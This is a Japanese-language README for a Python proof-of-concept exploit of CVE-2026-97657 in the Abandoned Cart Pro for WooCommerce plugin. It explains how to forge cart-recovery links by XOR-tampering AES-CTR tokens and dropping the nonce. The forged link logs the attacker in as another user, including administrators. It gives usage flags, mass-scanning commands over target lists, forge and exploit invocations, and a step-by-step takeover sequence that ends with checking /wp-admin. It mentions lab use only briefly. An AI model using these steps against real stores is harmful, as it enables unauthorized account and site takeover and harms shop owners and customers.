CVE-2026-97657 の Python 3 PoC — Abandoned Cart Pro for WooCommerce(Tyche Softwares)≤ 10.8.0。CNA: Wordfence。
| 製品 | Abandoned Cart Pro for WooCommerce |
| 影響範囲 | ≤ 10.8.0(10.8.0 より上の修正版にアップグレードしてください) |
| CWE | CWE-639 — ユーザー制御キーによる認可バイパス |
| CVSS 3.1 | 9.8 Critical |
| 検証マーカー | POCBIT-97657-OK(セッション/管理者チェック) |
| PoCbit | https://pocbit.org/pocs/cve-2026-97657 |
リカバリーリンクは MAC なしの AES-CTR トークン(Wcal_Aes_Ctr 互換レイアウト: 8 バイトの CTR ノンス + 暗号文、base64)を使用しています。プラグインは、攻撃者が制御可能な user_email クエリパラメータからメールごとの encrypt_key を読み込みます。wcap_email_track_links()(Pro 版。Lite 版の相当関数は wcal_email_track_links())では、wcap_nonce / HMAC チェックが wcap_nonce が空でない場合にのみ実行されるため、これを省略すると整合性検証がスキップされます。復号後、abandoned_id(カート行 ID)がそのメールに属することを証明せずに使用され、その後、自動ログインが有効(デフォルト)な場合に wp_set_auth_cookie() が実行されます。
自身のリマインダーメールから得た正規のリカバリー URL を 1 つ持つ未認証の攻撃者は、CTR 暗号文を XOR で改ざんして埋め込まれたカート ID を被害者の放棄カート ID(ソース ID と同じ長さ)に変更し、wcap_nonce なしで偽造 URL を開き、被害者(カートを放棄した管理者を含む)としてログインできます。
典型的な URL 形式(Pro 版):
GET /?wacp_action=checkout_link&[email protected]&validate=<token>
(wcap_action / wcal_action のバリアントが存在します。トラックリンクの URL には c= などの追加パラメータが含まれる場合があります。)
cd CVE-2026-97657
pip install -r requirements.txt
requests、urllib3| モード | 目的 | 必須引数 |
|---|---|---|
check(デフォルト) | プラグインの readme.txt を読み取り、バージョン ≤ 10.8.0 を検出 | -t URL または --list FILE |
forge | 偽造リカバリ URL をローカルで生成(HTTP なし) | --recovery-link、--source-cart-id、--target-cart-id |
exploit | トークン偽造 + HTTP GET + WordPress セッション検証 | forge と同じ |
推奨ワークフロー(許可されたラボ環境):
check — プラグインスラッグ + バージョン ≤ 10.8.0 を確認。forge — トラフィックを送信する前に、カート ID のパディングと URL の形式を検証。exploit — 偽造リカバリ URL への GET を 1 回実行し、Cookie と /wp-admin/ を確認。exploit/forge は -t / --list を使用しません。ターゲットホストは --recovery-link(スキーム + ホスト)から取得されます。
| 要件 | 理由 |
|---|---|
| 正規のリカバリ URL が 1 つ | 有効な CTR nonce + 暗号文、および(通常は)ac_sent_history 内の user_email / encrypt_key 行を提供する |
| プラグイン ≤ 10.8.0 で 自動ログイン が有効(デフォルト) | パッチ済みビルドや自動ログイン無効化は wp_set_auth_cookie() をブロックする |
| 放棄カート行を持つ、登録済みの被害者 WordPress ユーザー | 乗っ取りパスは ac_abandoned_cart_history の user_id でログインする。純粋なゲストカートは別の分岐を使用する |
checkout_link URL を強く推奨 | 平文は {abandoned_cart_id}&url=...。track_links トークンは email_sent_id をエンコードしており、カート ID ではない — ID 種別が誤っていると forge が破綻する |
| 同一長の ID | CTR XOR の可変性はバイトを 1:1 で反転するだけ。ゼロでパディングする(下記参照) |
--recovery-link の取得checkout_link をコピーする(有効な場合は webhooks / プラグインエクスポートからでも可)。Pro の形式例(ベンダードキュメント / webhooks より):
https://shop.example/?wacp_action=checkout_link&validate=<base64-token>
https://shop.example/?wacp_action=checkout_link&[email protected]&validate=<token>
https://shop.example/?wacp_action=track_links&[email protected]&validate=<token>&c=<coupon-token>
メールに記載されているとおりに URL を正確に貼り付けてください(validate を含めます。クエリの順序は問いません)。
| 取得元 | フィールド |
|---|---|
| WooCommerce Abandoned Cart → Cart details(管理画面) | 放棄カート ID(DB 主キー) |
Webhook ペイロード(wcap_cart、checkout_link コンテキスト) | カートリソース上の "id": "383" |
| MySQL(ラボ) | wp_ac_abandoned_cart_history.id(Pro のテーブルプレフィックスは異なる場合があります) |
--source-cart-id は、あなたのトークンの平文に含まれる ID(あなたの放棄カート行)でなければなりません。--target-cart-id は、同じテーブル内の被害者の行です。
PoC は長さが一致しない場合に拒否します。両方の ID を同じ桁数にゼロ埋めしてください:
| 取得元(あなた) | ターゲット(被害者) | OK? |
|---|---|---|
383 | 001 | はい(3 文字) |
0383 | 0001 | はい(4 文字) |
383 | 1 | いいえ — 代わりに 0383 / 0001 で forge を実行してください |
| フラグ | モード | 意味 |
|---|---|---|
-t, --target | check | WordPress サイトのルート。例:https://shop.example.com |
--list FILE | check | 1 行につき 1 つのサイト URL。# コメントは無視されます |
--mode | all | check(デフォルト)、forge、exploit |
--recovery-link URL | forge, exploit | リマインダーメールに記載された完全なリカバリー URL |
--source-cart-id | forge, exploit | あなたの放棄カート行 ID(トークン平文内) |
--target-cart-id | forge, exploit | 被害者の放棄カート行 ID(同じ文字列長) |
-j N | check(リスト) | 並列ワーカー数(デフォルト 8) |
--timeout SEC | check, exploit | HTTP タイムアウト(デフォルト 15) |
--insecure | check, exploit | TLS 証明書の検証を無効化 |
--jsonl FILE | check, exploit | 実行ごとに 1 つの JSON オブジェクトを追記 |
--vuln-list FILE | check | バージョン ≤ 10.8.0 の URL を書き出す |
-q, --quiet | all | コンソール出力を減らす |
--no-color | all | プレーンなターミナル出力 |
終了コード
| コード | 条件 |
|---|---|
| 0 | Exploit:success: true;forge:常に;check:常に(単一の -t) |
| 1 | Exploit:ログイン/管理者の検証に失敗 |
| 2 | -t のセマンティクスなしで check リストを実行(情報提供) |
python poc.py -t https://shop.example.com --mode check
python poc.py --list targets.example.txt --mode check -j 16 --vuln-list hits.txt --jsonl scan.jsonl
プローブ:
/wp-content/plugins/woocommerce-abandon-cart-pro/readme.txtwoocommerce-abandoned-cart-propython poc.py --mode forge \
--recovery-link "https://shop.example.com/?wacp_action=checkout_link&[email protected]&validate=..." \
--source-cart-id "0383" \
--target-cart-id "0001"
出力JSONには exploit_url が含まれます(validate からHMACサフィックスが除去され、nonceパラメータが削除されます)。
PoCはまた、元のリンクに存在していた場合、クエリから wcap_nonce / wcal_nonce を削除します。
--mode exploit)ローカルでのトークン偽造を実行した後、単一の未認証HTTP GET(およびリダイレクトの追跡)を行います。WordPressの認証情報は送信されません。
sequenceDiagram
participant Att as Attacker PoC
participant WP as WordPress + Pro plugin
participant DB as Plugin DB
Att->>Att: Parse recovery URL (validate, user_email, wacp_action)
Att->>Att: Strip .hmac from validate if present
Att->>Att: XOR-malleate cart ID in CTR ciphertext
Att->>WP: GET forged URL (no wcap_nonce)
WP->>DB: encrypt_key for user_email (attacker email)
WP->>WP: AES-CTR decrypt → forged abandoned_id
WP->>DB: Load user_id for abandoned_id (no ownership check)
WP->>WP: wp_set_auth_cookie(victim) if auto-login on
WP-->>Att: Set-Cookie + redirect (shop / checkout / my-account)
Att->>WP: GET /wp-admin/ with session
Att->>Att: success if logged-in cookies + admin/dashboard
--recovery-link — ホストがエクスプロイトのターゲットになり、クエリパラメータは変更される箇所を除いて保持されます。validate が ciphertext.64hex の場合、最初の . より前の部分のみが保持されます(レガシー/ダウングレード形式の blob)。source_cart_id から target_cart_id に変更します(&url= より前)。validate を設定し、wcap_nonce / wcal_nonce を削除します。wordpress_logged_in* / wordpress_sec* Cookie を収集します。/wp-admin/ をリクエストし、wp-login.php に戻されず、ダッシュボードのマーカーが現れれば成功です。